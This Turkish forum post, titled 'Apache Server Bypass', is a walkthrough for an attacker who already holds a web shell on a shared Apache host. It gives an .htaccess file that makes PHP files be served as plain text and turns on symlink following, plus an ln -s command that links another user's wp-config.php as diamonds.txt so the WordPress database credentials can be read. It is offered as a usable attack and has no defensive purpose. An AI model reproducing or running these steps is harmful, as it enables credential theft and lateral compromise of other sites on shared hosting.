Apache Server Bypass

Konu Özeti

Apache sunucu yapılandırmasını .htaccess dosyasıyla değiştirerek wp-config.php gibi hassas dosyalara erişim sağlama yöntemi anlatılıyor. Önce shell üzerinde diamonds adında bir dizin oluşturulup içine .htaccess dosyası ekleniyor; bu dosyaya çeşitli direktifler yazılarak PHP ve HTML dosyalarının düz metin olarak işlenmesi sağlanıyor. Ardından sembolik bağlantı ile wp-config.php dosyası diamonds.txt olarak bağlanıp içeriğinin okunması hedefleniyor.

Status
Not open for further replies.
Öncelikle shellimizdeki komut satırına (execute) yerine mkdir diamonds yazıyoruz ve diamonds adında dosyamız oluşuyor.

cd diamonds diyerek açtığımız dosyanın içerisine giriyoruz ve .htaccess dosyasi oluşturuyoruz.

Ve .htaccess dosyasinin içerisine şu kodları yaziyoruz :

Code:
OPTIONS Indexes FollowSymLinks SymLinksIfOwnerMatch Includes IncludesNOEXEC ExecCGI
Options Indexes FollowSymLinks
ForceType text/plain
AddType text/plain .php
AddType text/plain .html
AddType text/html .shtml
AddType txt .php
AddHandler server-parsed .php
AddHandler txt .php
AddHandler txt .html
AddHandler txt .shtml
Options All
Options All
ReadmeName diamonds.txt

Yazıyoruz ve dosyayı kaydediyoruz.

En son olarak

ln -s /home/wordpress_site_user/public_html/wp-config.php diamonds.txt

Diyerek bypasslayabiliriz.

🔒 Bu içeriği görmek için giriş yapın

 
Status
Not open for further replies.
136,379Threads
3,304,900Messages
328,206Members
Danny021Latest member
Top Bottom